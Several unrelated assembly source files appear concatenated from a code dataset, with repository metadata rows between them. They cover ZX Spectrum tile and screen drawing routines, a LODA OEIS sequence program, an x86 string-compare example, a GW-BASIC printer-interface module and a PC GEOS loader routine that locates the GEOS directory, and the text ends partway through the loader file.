pop hl ; get tile graphics data address from the table
ld sp, hl
exx
dup 4 ;<---
pop de
ld (hl), e
inc h
pop de
ld (hl), e
inc h
edup ;<---
add hl, bc
dec ixl
jp nz, .loop
ld sp, (_temp_sp)
ret
_draw_half_tiles_column_shifted_up_12b
; in: HL - shadow buffer addr
; IXL - number of tiles
; EX BC - tiles map addr
ld (_temp_sp), sp
ld bc, scr_buff_next_tile_row_offs
exx
ld a, (bc) ; get tile index
inc bc
add_addr_ax2 tiles_addr_tbl
ld sp, hl
pop hl ; get tile graphics data address from the table
ld de, 24
add hl, de
ld sp, hl
exx
.loop
dup 2 ;<---
pop de
ld (hl), e
inc h
pop de
ld (hl), e
inc h
edup ;<---
exx
ld a, (bc) ; get tile index
inc bc
add_addr_ax2 tiles_addr_tbl
ld sp, hl
pop hl ; get tile graphics data address from the table
ld sp, hl
exx
dup 6 ;<---
pop de
ld (hl), e
inc h
pop de
ld (hl), e
inc h
edup ;<---
add hl, bc
dec ixl
jp nz, .loop
ld sp, (_temp_sp)
ret
_draw_tiles_column_shifted_up_4b
; in: HL - shadow buffer addr
; IXL - number of tiles
; EX BC - tiles map addr
ld (_temp_sp), sp
ld bc, scr_buff_next_tile_row_offs
exx
ld a, (bc) ; get tile index
inc bc
add_addr_ax2 tiles_addr_tbl
ld sp, hl
pop hl ; get tile graphics data address from the table
ld de, 8
add hl, de
ld sp, hl
exx
.loop
dup 6 ;<---
pop de
ld (hl), e
inc l
ld (hl), d
inc h
pop de
ld (hl), d
dec l
ld (hl), e
inc h
edup ;<---
exx
ld a, (bc) ; get tile index
inc bc
add_addr_ax2 tiles_addr_tbl
ld sp, hl
pop hl ; get tile graphics data address from the table
ld sp, hl
exx
dup 2 ;<---
pop de
ld (hl), e
inc l
ld (hl), d
inc h
pop de
ld (hl), d
dec l
ld (hl), e
inc h
edup ;<---
add hl, bc
dec ixl
jp nz, .loop
ld sp, (_temp_sp)
ret
_draw_tiles_column_shifted_up_12b
; in: HL - shadow buffer addr
; IXL - number of tiles
; EX BC - tiles map addr
ld (_temp_sp), sp
ld bc, scr_buff_next_tile_row_offs
exx
ld a, (bc) ; get tile index
inc bc
add_addr_ax2 tiles_addr_tbl
ld sp, hl
pop hl ; get tile graphics data address from the table
ld de, 24
add hl, de
ld sp, hl
exx
.loop
dup 2 ;<---
pop de
ld (hl), e
inc l
ld (hl), d
inc h
pop de
ld (hl), d
dec l
ld (hl), e
inc h
edup ;<---
exx
ld a, (bc) ; get tile index
inc bc
add_addr_ax2 tiles_addr_tbl
ld sp, hl
pop hl ; get tile graphics data address from the table
ld sp, hl
exx
dup 6 ;<---
pop de
ld (hl), e
inc l
ld (hl), d
inc h
pop de
ld (hl), d
dec l
ld (hl), e
inc h
edup ;<---
add hl, bc
dec ixl
jp nz, .loop
ld sp, (_temp_sp)
ret
ENDIF //DEF_MOVE_STEP == MS_4b
IF DEF_MOVE_STEP == MS_TILE
_draw_tiles_2x2_mode
; draw the top two thirds of the screen
ld ixh, scr_buff_tiles_w
ld hl, scr_buff
exx
pop bc ; BC - tilemap start address for pos_x|pos_y
IF DEF_FULLSCREEN
push bc ; save to draw the bottom of the screen (B\W)
ENDIF //DEF_FULLSCREEN
IF DEF_COLOR
push bc ; save to draw color layer
ENDIF //DEF_COLOR
IF TR_DATA_TILES4X4
ld hl, map_tiles4x4
ld e, (hl)
inc hl
ld d, (hl)
exx
_drw_loop1 ld ixl, 4 ; number of 4x4 tiles in the upper 2 thirds
ELSE //TR_DATA_TILES4X4
exx
_drw_loop1 ld ixl, 8 ; number of 2x2 tiles in the upper 2 thirds
ENDIF //TR_DATA_TILES4X4
exx
push bc
exx
push hl
call _draw_tiles_column
pop hl
exx
pop bc
db #21 ; ld hl, (map_tiles_h)
_hl_mptls_h_mn dw 0
add hl, bc
ld bc, hl
exx
IF TR_DATA_TILES4X4
inc l
inc l
inc l
inc l
ELSE //TR_DATA_TILES4X4
inc l
inc l
ENDIF //TR_DATA_TILES4X4
dec ixh
jp nz, _drw_loop1
IF DEF_FULLSCREEN
; draw the bottom third of the screen
ld ixh, scr_buff_tiles_w
ld hl, scr_buff + 4096
exx
pop hl ; BC - tilemap start address for pos_x|pos_y
IF TR_DATA_TILES4X4
ld de, 4
ELSE //TR_DATA_TILES4X4
ld de, 8
ENDIF //TR_DATA_TILES4X4
add hl, de
ld c, l
ld b, h
IF TR_DATA_TILES4X4
ld hl, map_tiles4x4
ld e, (hl)
inc hl
ld d, (hl)
exx
_drw_loop2 ld ixl, 2 ; number of 4x4 tiles in the lower third
ELSE //TR_DATA_TILES4X4
exx
_drw_loop2 ld ixl, 4 ; number of 2x2 tiles in the lower third
ENDIF //TR_DATA_TILES4X4
exx
push bc
exx
push hl
call _draw_tiles_column
pop hl
exx
pop bc
db #21 ; ld hl, (map_tiles_h)
_hl_mptls_h_fs dw 0
add hl, bc
ld bc, hl
exx
IF TR_DATA_TILES4X4
inc l
inc l
inc l
inc l
ELSE //TR_DATA_TILES4X4
inc l
inc l
ENDIF //TR_DATA_TILES4X4
dec ixh
jp nz, _drw_loop2
ENDIF //DEF_FULLSCREEN
IF DEF_COLOR
; draw color
ld ixh, scr_buff_tiles_w
ld hl, clr_buff
exx
pop bc
IF TR_DATA_TILES4X4
ld hl, map_tiles4x4
ld e, (hl)
inc hl
ld d, (hl)
ENDIF //TR_DATA_TILES4X4
exx
_drw_loop_clr
IF DEF_FULLSCREEN
ld ixl, scr_buff_tiles_h
ELSE
IF TR_DATA_TILES4X4
ld ixl, 4 ; for 2/3 of the screen
ELSE
ld ixl, 8 ; for 2/3 of the screen
ENDIF //TR_DATA_TILES4X4
ENDIF //DEF_FULLSCREEN
exx
push bc
exx
push hl
call _draw_tiles_color_column
pop hl
exx
pop bc
db #21 ; ld hl, (map_tiles_h)
_hl_mptls_h_cl dw 0
add hl, bc
ld bc, hl
exx
IF TR_DATA_TILES4X4
inc l
inc l
inc l
inc l
ELSE //TR_DATA_TILES4X4
inc l
inc l
ENDIF //TR_DATA_TILES4X4
dec ixh
jp nz, _drw_loop_clr
ENDIF //DEF_COLOR
ret
ENDIF //DEF_MOVE_STEP == MS_TILE
_fix_x_y
; check coordinates so that the entire screen of tiles is always drawn
ld hl, (x_pos)
bit 7, h
jp z, .cont1
ld hl, 0
jp __save_x
.cont1
db #11 ; ld de, scr_steps_w
_de_scr_st_w dw 0
add hl, de
db #11 ; ld de, map_steps_w
_de_map_st_w dw 0
and a ; reset the carry flag, just in case...
sbc hl, de ; if ( x_pos + scr_w ) < map_chrs_w, then continue
jp c, __cont2
ld de, (x_pos)
ex de, hl
and a
sbc hl, de ; subtract the overflow from x_pos, thereby adjusting the coordinate to desired value
__save_x ld (x_pos), hl
__cont2 ld hl, (y_pos)
bit 7, h
jp z, .cont3
ld hl, 0
jp __save_y
.cont3
db #11 ; ld de, scr_steps_h
_de_scr_st_h dw 0
add hl, de
db #11 ; ld de, map_steps_h
_de_map_st_h dw 0
and a ; reset the carry flag, just in case...
sbc hl, de
ret c
ld de, (y_pos)
ex de, hl
and a
sbc hl, de ; subtract the overflow from y_pos, thereby adjusting the coordinate to desired value
__save_y ld (y_pos), hl
.exit
ret
_calc_tile_addr
; in: x_pos/y_pos
; out: HL - tile address
ld de, _x_tile_addr_tbl
ld hl, (x_pos)
IF DEF_MOVE_STEP == MS_4b
res 0, l
sra h
rr l
sra h
rr l
ENDIF //DEF_MOVE_STEP == MS_4b
IF DEF_MOVE_STEP == MS_8b
res 0, l ; reset zero bit to consider coordinates multiple of tile size only
sra h ; divide Y coordinate by 2 so that each even coordinate corresponds to an ordinal number of a tile in tiles column
rr l
ENDIF //DEF_MOVE_STEP == MS_8b
add hl, hl ; multiply x_pos by 2 to get an offset in 16-bit lookup table
add hl, de
ld e, (hl)
inc hl
ld d, (hl)
ld hl, (y_pos)
IF DEF_MOVE_STEP == MS_4b
res 0, l
sra h
rr l
sra h
rr l
ENDIF //DEF_MOVE_STEP == MS_4b
IF DEF_MOVE_STEP == MS_8b
res 0, l ; reset zero bit to consider coordinates multiple of tile size only
sra h ; divide the Y coordinate by 2 so that each even coordinate corresponds to the ordinal number of the tile in the tile column
rr l
ENDIF //DEF_MOVE_STEP == MS_8b
add hl, de
ret
IF DEF_MOVE_STEP == MS_TILE
LR_border_CHRs = 0
ELSE // SM_8b / SM_4b
LR_border_CHRs = 1
ENDIF //DEF_MOVE_STEP == MS_TILE
show_screen
IF DEF_VERT_SYNC
ei
halt
di
ENDIF //DEF_VERT_SYNC
IF DEF_128K_DBL_BUFFER
ld a, (_scr_trigg)
xor #01
cp #01
ld (_scr_trigg), a
jp nz, .draw_scr0
call _switch_Uscr ; show the main screen and draw on the extended one
ld a, #80 ; OR val to a high byte of a screen address ( the extended screen address )
ld (_drw_sthb1), a
; draw black/white image
ld hl, #c000 + #10 + LR_border_CHRs
exx
ld hl, scr_buff + LR_border_CHRs
exx
call _draw_scr_32x24
IF DEF_COLOR
; draw color
ld hl, #d800 + #10 + LR_border_CHRs
exx
ld hl, clr_buff + LR_border_CHRs
exx
call _draw_clr_32x24
ENDIF //DEF_COLOR
ret
.draw_scr0
call _switch_Escr ; show the extended screen and draw on the main one
ld a, #00 ; OR val to a high byte of a screen address ( the main screen address )
ld (_drw_sthb1), a
ENDIF //DEF_128K_DBL_BUFFER
; draw black/white image
ld hl, #4000 + #10 + LR_border_CHRs
exx
ld hl, scr_buff + LR_border_CHRs
exx
call _draw_scr_32x24
IF DEF_COLOR
; draw color
ld hl, #5800 + #10 + LR_border_CHRs
exx
ld hl, clr_buff + LR_border_CHRs
exx
call _draw_clr_32x24
ENDIF //DEF_COLOR
ret
IF DEF_COLOR
_draw_clr_32x24
ld (_temp_sp), sp
.loop exx
ld sp, hl
ld bc, 16
add hl, bc
pop af
pop bc
pop de
exx
ex af,af'
pop af
pop bc
pop de
pop ix
pop iy
ld sp, hl
push iy
push ix
push de
push bc
push af
ld bc, 16 - ( LR_border_CHRs << 1 )
add hl, bc
exx
ex af,af'
push de
push bc
push af
ld sp, hl
ld bc, 16
add hl, bc
pop af
pop bc
pop de
exx
ex af,af'
pop af
pop bc
pop de
pop ix
IF DEF_MOVE_STEP == MS_TILE
pop iy
ENDIF
ld sp, hl
IF DEF_MOVE_STEP == MS_TILE
push iy
ENDIF
push ix
push de
push bc
push af
ld bc, 16 + ( LR_border_CHRs << 1 )
add hl, bc
exx
ex af,af'
push de
push bc
push af
exx
ld a, h
and #03
IF DEF_FULLSCREEN
cp #03
ELSE
cp #02
ENDIF //DEF_FULLSCREEN
jp nz, .loop
ld sp, (_temp_sp)
ret
ENDIF //DEF_COLOR
_draw_scr_32x24
ld a, #64 ; bit 4, h
ld (_drw_tchk1), a
ld (_temp_sp), sp
_loop32x24 exx
dup 7
ld sp, hl
inc h
pop af
pop bc
pop de
exx
ex af,af'
pop af
pop bc
pop de
pop ix
pop iy
ld sp, hl
push iy
push ix
push de
push bc
push af
inc h
exx
ex af,af'
push de
push bc
push af
edup
ld sp, hl
inc h
pop af
pop bc
pop de
exx
ex af,af'
pop af
pop bc
pop de
pop ix
pop iy
ld sp, hl
push iy
push ix
push de
push bc
push af
exx
ex af,af'
push de
push bc
push af
exx
ld bc, -1776 - ( LR_border_CHRs << 1 )
add hl, bc
exx
ld bc, -2032
add hl, bc
dup 7
ld sp, hl
inc h
pop af
pop bc
pop de
exx
ex af,af'
pop af
pop bc
pop de
pop ix
IF DEF_MOVE_STEP == MS_TILE
pop iy
ENDIF
ld sp, hl
IF DEF_MOVE_STEP == MS_TILE
push iy
ENDIF
push ix
push de
push bc
push af
inc h
exx
ex af,af'
push de
push bc
push af
edup
ld sp, hl
inc h
db #cb
_drw_tchk1 db 0 ; bit 4, h / bit 5, h
jp z, .cont
ld bc, scr_buff_next_tile_row_offs
add hl, bc
.cont pop af
pop bc
pop de
exx
ex af,af'
pop af
pop bc
pop de
pop ix
IF DEF_MOVE_STEP == MS_TILE
pop iy
ENDIF
ld sp, hl
IF DEF_MOVE_STEP == MS_TILE
push iy
ENDIF
push ix
push de
push bc
push af
exx
ex af,af'
push de
push bc
push af
ld bc, -16
add hl, bc
exx
dec hl
ld a, h ; go to line below in video memory
sub 7
ld h, a
ld a, l
add 16 + ( LR_border_CHRs << 1 )
ld l, a
inc hl
jp nc, _loop32x24
ld a, h
IF DEF_128K_DBL_BUFFER
and #7F ; convert the screen address to the main one - #4000
ENDIF //DEF_128K_DBL_BUFFER
ld h, #48 ; check the second third
cp #40
IF DEF_128K_DBL_BUFFER
jp z, _fix_scr_addr
ELSE
jp z, _loop32x24
ENDIF //DEF_128K_DBL_BUFFER
IF DEF_FULLSCREEN
cp #48 ; check the third third
jp z, _set_3th_data
ENDIF //DEF_FULLSCREEN
ld sp, (_temp_sp)
ret
IF DEF_FULLSCREEN
_set_3th_data
ld hl, #5000 + #10 + LR_border_CHRs
ld a, #6C ; bit 5, h
ld (_drw_tchk1), a
exx
ld hl, scr_buff + #1000 + LR_border_CHRs
exx
IF DEF_128K_DBL_BUFFER
jp _fix_scr_addr
ELSE
jp _loop32x24
ENDIF //DEF_128K_DBL_BUFFER
ENDIF //DEF_FULLSCREEN
IF DEF_128K_DBL_BUFFER
_fix_scr_addr
ld a, h
db #F6
_drw_sthb1 db 0 ; [or #00|#80] switching between the main screen address and the extended one
ld h, a
jp _loop32x24
ENDIF //DEF_128K_DBL_BUFFER
IF DEF_128K_DBL_BUFFER
_scr_trigg db 0 ; screen switching trigger
_switch_Uscr ; show the main screen and switch to the 7th bank to draw the shadow buffer
ld bc, #7ffd
ld a, (23388)
ld a, %00000111
ld (23388), a
out (c), a
ret
_switch_Escr ; show the extended screen to draw on the main one
ld bc, #7ffd
ld a, (23388)
ld a, %00001000
ld (23388), a
out (c), a
ret
ENDIF //DEF_128K_DBL_BUFFER
_temp_sp dw 0 ; the stack pointer temporary variable
CODE_END
DISPLAY "Data hole size: ", /D, DATA_HOLE_END - DATA_HOLE_START, " org: ", /H, DATA_HOLE_START, " (", /D, DATA_HOLE_START, ")"
DISPLAY "Generated BACK BUFFER size: ", /D, BACK_BUFFER_END - BACK_BUFFER_START, " org: ", /H, BACK_BUFFER_START, " (", /D, BACK_BUFFER_START, ")"
DISPLAY "Generated CODE size: ", /D, CODE_END - CODE_START, " org: ", /H, CODE_START, " (", /D, CODE_START, ")"
ENDMODULE
| 15.760259 | 263 | 0.600987 |
d260ef96416a40b5ec90e54bd3cb1743febbe68b | 724 | asm | Assembly | programs/oeis/207/A207069.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/207/A207069.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/207/A207069.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A207069: Number of 2 X n 0..1 arrays avoiding 0 0 1 and 0 1 0 horizontally and 0 0 1 and 1 0 1 vertically.
; 4,16,36,81,196,441,961,2116,4624,10000,21609,46656,100489,216225,465124,1000000,2149156,4618201,9922500,21316689,45792289,98366724,211295296,453860416,974875729,2093977600,4497714225,9660727521,20750402500,44569965456,95732072836,205623250849,441658601476,948638988361,2037582098721,4376522576196,9400331472016,20190967086096,43368164873401,93150448496704,200077771663225,429746872133569,923052920549796,1982624519395584,4258477354140100,9146779491607209
add $0,2
cal $0,38718 ; Number of permutations P of {1,2,...,n} such that P(1)=1 and |P^-1(i+1)-P^-1(i)| equals 1 or 2 for i=1,2,...,n-1.
pow $0,2
mov $1,$0
| 90.5 | 456 | 0.794199 |
d8aeaadccd58b3e880dabc78d477caccca32945b | 507 | asm | Assembly | 002-assembly/common-str-cmp.asm | dingjingmaster/learn-kernel | befb4ef7ff56145d268e79fe1d18a5c11433c11a | [
"MIT"
] | null | null | null | 002-assembly/common-str-cmp.asm | dingjingmaster/learn-kernel | befb4ef7ff56145d268e79fe1d18a5c11433c11a | [
"MIT"
] | null | null | null | 002-assembly/common-str-cmp.asm | dingjingmaster/learn-kernel | befb4ef7ff56145d268e79fe1d18a5c11433c11a | [
"MIT"
] | null | null | null | .data
src: .ascii "Test sentence!\n\0"
.equ lenSrc, (. - src)
dst: .ascii "Test sentence!\n\0"
.equ lenDst, (. - dst)
.text
.global _main
_main:
# compare string lengths
movq $lenSrc, %rax
cmpq $lenDst, %rax
jne notequal
# when lengths are equal execute CMPS
leaq src(%rip), %rsi
leaq dst(%rip), %rdi
movq $lenSrc, %rcx
cld
repe cmpsb
# after CMPS, see if it ended successfully
jnz notequal
# equality things
jmp done
notequal:
# non-equality things
done:
movq $60, %rax
xorq %rdi, %rdi
syscall
.end
| 13.702703 | 42 | 0.696252 |
cacf8a1e01fb8a3f85c9213f99197b782cdf1bb5 | 6,626 | asm | Assembly | 45/runtime/rt/lllpt.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | 45/runtime/rt/lllpt.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | 45/runtime/rt/lllpt.asm | minblock/msdos | 479ffd237d9bb7cc83cb06361db2c4ef42dfbac0 | [
"Apache-2.0"
] | null | null | null | TITLE LLLPT - GW-BASIC Printer Interface
;***
; LLLPT - GW-BASIC Printer Interface
;
; Copyright <C> 1986, Microsoft Corporation
;
;Purpose:
;
;******************************************************************************
INCLUDE switch.inc
INCLUDE rmacros.inc
useSeg _DATA
useSeg DV_TEXT
INCLUDE seg.inc
INCLUDE ibmunv.inc
sBegin _DATA
LPTNAM DB "LPT" ;name for use in printer open
LPTNUM DB " ",0 ;number of printer to open (1 to 3)
sEnd _DATA
sBegin DV_TEXT
externNP B$DOS3CHECK ; Check for dos 3
assumes CS,DV_TEXT
;***
;B$OPNLPT - OPEN selected printer
;OEM-interface routine
;
;Purpose:
; This routine will open a communications channel to a printer
; and return a file handle to this channel and a status flag.
;
; There are two ways to implement the three LPT routines
; (B$OPNLPT, B$SNDLPT, and B$CLSLPT). They are based
; on the fact that the file handle used by all three is
; never checked or used outside of these routines. The rest
; of the runtime will just store it away and pass it back to
; these routines.
;
; 1.) Direct output to a printer. In this case, there would be
; no file handle, and the value passed can be ignored.
; B$OPNLPT would have no work to do, and could just return
; with AH=0. B$CLSLPT would just return. The disadvantage
; to this is that it will not work over networks or for
; redirected output.
;
; 2.) Use DOS file handles. This is probably the most standard
; method as it allows for redirected printers and network
; printing. In this case, B$OPNLPT would open the printer
; as a file, possibly do hardware checks for the existence
; of the printer if it is not redirected, and return the
; handle for use in other two routines. B$SNDLPT would
; use the file for writing, and B$CLSLPT would close the
; file.
;
; If the B$OPNLPT returns [AH] = 1, the runtime will signal
; a Device Not Available Error.
;
;
;Entry:
; [AH] = printer number (0-2)
;
;Exit:
; [BX] = file handle
; [AH] = 0 if open successful, 1 if open failed.
;
;Uses:
; Per convention
;
;Preserves:
; CX,DX
;
;Exceptions:
; None.
;******************************************************************************
cProc B$OPNLPT,<NEAR,PUBLIC>,<DX,SI>
cBegin
CMP AH,2 ;test against upper limit
JA OPNLPT_UNAVAIL ;if too high, then not available
MOV BL,AH ;move index into register
XOR BH,BH ;make it a 16-bit value
SHL BX,1 ;shift to make it a word index
MOV SI,BX ;keep word index for later
ADD AH,"1" ;map 0 to "1", 1 to "2", etc.
MOV LPTNUM,AH ;put unit number in device name
MOV DX,OFFSET DGROUP:LPTNAM ;define name string to open
MOV AX,3D01H ;ready to open file for writing
INT 21H ;open the file
JC OPNLPT_UNAVAIL ;jump if device not available
MOV BX,AX ;move handle
MOV AX,4400H ;get device status
INT 21H ;perform the action
TEST DL,80H ;test if character device
JZ OPNLPT_CLOSE ;jump if error to close and exit
MOV AX,4401H ;IOCTL to set device status
OR DL,20H ;change to raw mode
XOR DH,DH ;clear upper byte...
INT 21H ;set the mode
cCall B$DOS3CHECK ; See if DOS 3
JB OPNLPT_DOS2 ;jump if DOS2
MOV AX,440AH ;get IOCTL call for redirection
INT 21H ;flag is in DH
TEST DH,80H ;flag set if redirected
JNZ OPNLPT_SUCCESS ;jump if redirected, done
OPNLPT_DOS2:
PUSH DS ;save BASCOM data segment
MOV AX,40H ;get BIOS data segment
MOV DS,AX ;establish addressability
TEST DS:8[SI],0FFFFH ;test if adapter exists
POP DS ;restore data segment
JNZ OPNLPT_SUCCESS ;if so, success, jump
OPNLPT_CLOSE:
MOV AH,3EH ;system code for closing
INT 21H ;close the file opened
OPNLPT_UNAVAIL:
MOV AH,1 ;error code for device unavailable
XOR BX,BX ;clear BX for error condition
JMP SHORT OPNLPT_DONE ;jump to exit
OPNLPT_SUCCESS:
XOR AH,AH ;clear error code for success
OPNLPT_DONE:
cEnd
;***
;B$SNDLPT - Send a character to selected printer
;OEM-interface routine
;
;Purpose:
; This routine takes a character and a file handle from
; B$OPNLPT and sends the character to the printer specified
; by the file handle. If there are any errors, they are
; returned in AH.
;
; See the documentation for B$OPNLPT for more information.
;
;Entry:
; [AL] = character
; [BX] = file handle
;
;Exit:
; [AH] = 0: success
; 1: device not available
; 2: time out
; 3: out of paper
;
;Uses:
; Per Convention
;
;Preserves:
; BX, CX, DX
;
;Exceptions:
;
;******************************************************************************
cProc B$SNDLPT,<NEAR,PUBLIC>,<DX,CX>
cBegin
PUSH AX ; store byte in stack
MOV DX,SP ; [DS:DX] points to data to be output
.ERRE ID_SSEQDS ; assumes DS=SS
MOV CX,1 ;[CX] = # of bytes to be written
MOV AH,40H ;read operation
INT 21H ;success reflected in carry
POP DX ; even stack
JC SNDLPT_UNAVAIL ;jump if error on write
XOR AH,AH ;return 0 in AH for no error
JMP SHORT SNDLPT_DONE ;jump to finish up
SNDLPT_UNAVAIL:
MOV AH,1 ;set error code
SNDLPT_DONE:
cEnd
;***
; B$CLSLPT - Close selected printer
;OEM-interface routine
;
;Purpose:
; This routine takes a file handle prepared by B$OPNLPT
; for a line printer and closes the associated communications
; channel. All needed termination for the printer should be
; done at this point. All errors are ignored.
;
; See the documentation for B$OPNLPT for more information.
;
;Entry:
; [BX] = file handle
;
;Exit:
; None
;
;Uses:
; Per Convention
;
;Preserves:
; AX, BX, CX, DX
;
;Exceptions:
; None.
;******************************************************************************
cProc B$CLSLPT,<NEAR,PUBLIC>,AX
cBegin
MOV AH,3EH ;system code for closing
INT 21H ;close the file opened
cEnd
sEnd DV_TEXT
END
| 28.808696 | 79 | 0.576366 |
ddc033cfeebaed8746892e24bc9d7f045c74b469 | 20,099 | asm | Assembly | Loader/locate.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Loader/locate.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Loader/locate.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z | COMMENT @----------------------------------------------------------------------
Copyright (c) GeoWorks 1991 -- All Rights Reserved
PROJECT: PC GEOS
MODULE: Loader
FILE: locate.asm
ROUTINES:
Name Description
---- -----------
LocateGeosDir Locate the kernel
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 1/91 Initial version
DESCRIPTION:
$Id: locate.asm,v 1.1 97/04/04 17:26:42 newdeal Exp $
------------------------------------------------------------------------------@
COMMENT @----------------------------------------------------------------------
FUNCTION: LocateGeosDir
DESCRIPTION: Initialize the kernel's path to the current path
CALLED BY: INTERNAL (InitGeos)
PASS:
none
RETURN:
KLV_bootupPath - set
KLV_topLevelPath - set
DESTROYED:
ax, bx, cx, dx, si, di, bp
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
The location of the GEOS directory is based on the location of the geos.ini
file. The following strategy is used:
1. Current directory
Look for geos.ini in the current directory. If it exists then
the current directory is the GEOS directory.
2. GEOSDIR environment variable
Look for an environment variable GEOSDIR. If it exists, cd to
that directory and look for a geos.ini file. If it exists then
this directory is the GEOS directory.
3. End of environment block (in DOS 3.X or above)
If running DOS 3.X or above, look at the end of the environment block.
The path used to run the program is stored here.
4. Path
Look in all directories on the path for a geos.ini file. If a
geos.ini file is found, the first directory in which it was found
is the GEOS directory.
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 4/91 Initial version
------------------------------------------------------------------------------@
if HARD_CODED_PATH
bootPath char LOCAL_PATH,0
endif
LocateGeosDir proc near
uses es
.enter
if HARD_CODED_PATH
segmov es, ds ; loaderVars segment
segmov ds, cs
; Hard-code the bootDrive and top-level path to be D:\GEOS,
; 'cause why not?
mov dl, BOOT_DRIVE
mov ah, MSDOS_SET_DEFAULT_DRIVE ;set drive
int 21h
mov dx, offset bootPath
mov ah, MSDOS_SET_CURRENT_DIR
int 21h
mov es:[loaderVars].KLV_bootDrive, BOOT_DRIVE
lea di, es:[loaderVars].KLV_bootupPath
lea si, cs:[bootPath]
mov cx, size bootPath
push si, cx
rep movsb
pop si, cx
lea di, es:[loaderVars].KLV_topLevelPath
rep movsb
segmov ds, es ; restore loaderVars segment
.leave
ret
else
;save start-up path so that we can pass it to the kernel
DEBUG_INT_STATUS
mov ah, MSDOS_GET_DEFAULT_DRIVE ;set drive
int 21h ;does NOT return the carry flag
DEBUG_INT_STATUS
mov ds:[loaderVars.KLV_bootDrive], al
add al, 'A'
mov ds:[loaderVars.KLV_bootupPath],al
mov si, offset loaderVars.KLV_bootupPath+3
clr dl
mov ah, MSDOS_GET_CURRENT_DIR
int 21h ;set current directory
ERROR_C LS_CANNOT_LOCATE_KERNEL
; look in current directory
call LocateInCurrentDir
jnc done
; look for the GEOSDIR environment variable
call LocateInGEOSDIR
jnc done
; look at the end of the env block in DOS 3.X or above
call LocateAtEndOfEnv
jnc done
; look at the path
call LocateOnPath
jnc done
; no place left to look
ERROR LS_CANNOT_LOCATE_KERNEL
done:
; set working directory to be topLevelPath
call SetTopLevelPath
; get the top level path back so that we have it the way that
; DOS likes it
mov ah, MSDOS_GET_DEFAULT_DRIVE ;set drive
int 21h
; Ditto...
; ERROR_C LS_CANNOT_LOCATE_KERNEL
add al, 'A'
mov {byte}ds:[loaderVars.KLV_topLevelPath], al
mov si, offset loaderVars.KLV_topLevelPath+3
clr dl
mov ah, MSDOS_GET_CURRENT_DIR
int 21h ;set current directory
ERROR_C LS_CANNOT_LOCATE_KERNEL
.leave
ret
endif
LocateGeosDir endp
strncpy proc near
lodsb
stosb
tst al
loopne strncpy
ret
strncpy endp
if not HARD_CODED_PATH
NEC <loaderName char "geos.ini", 0 >
EC <loaderName char "geosec.ini", 0 >
endif
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
CreateGeosDirs
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Create some directories on the RAMDISK so that we can
launch LOADER as the "shell" program in config.sys
and potentially not have to include COMMAND.COM
CALLED BY: LocateGeosDir
PASS: ds = cs
RETURN: nothing
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
chrisb 3/ 6/95 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
COMMENT @----------------------------------------------------------------------
FUNCTION: SetTopLevelPath
DESCRIPTION: Set the top level path
CALLED BY: LocateGeosDir, FindAndOpenKernel
PASS:
none
RETURN:
none
DESTROYED:
none
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 1/91 Initial version
------------------------------------------------------------------------------@
if not HARD_CODED_PATH
SetTopLevelPath proc near uses dx, ds
.enter
pushf
segmov ds, cs
mov dx, offset loaderVars.KLV_topLevelPath ;ds:dx <- topLevelPath
call SetCurrentDirAndDisk
ERROR_C LS_CANNOT_LOCATE_KERNEL
popf
.leave
ret
SetTopLevelPath endp
COMMENT @----------------------------------------------------------------------
FUNCTION: SetCurrentDirAndDisk
DESCRIPTION: Set the current directory and disk
CALLED BY: SetTopLevelPath, BuildPathEntry
PASS:
ds:dx - path
RETURN:
carry - set if error
DESTROYED:
none
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Tony 1/91 Initial version
------------------------------------------------------------------------------@
SetCurrentDirAndDisk proc near uses ax, dx, si
.enter
push dx
mov si, dx
mov dl, ds:[si]
sub dl, 'a' ; assume lower-case
jge 10$
add dl, 'a' - 'A' ; whoops. Adjust b/c it was uppercase
10$:
; set the drive
mov ah, MSDOS_SET_DEFAULT_DRIVE
int 21h
pop dx
add dx, 2 ;skip drive letter and colon
mov ah, MSDOS_SET_CURRENT_DIR
int 21h ;set current directory
.leave
ret
SetCurrentDirAndDisk endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: LocateInCurrentDir
DESCRIPTION: Try to locate the geos.ini file in the current directory.
CALLED BY: LocateGeosDir
PASS:
ds - loader segment
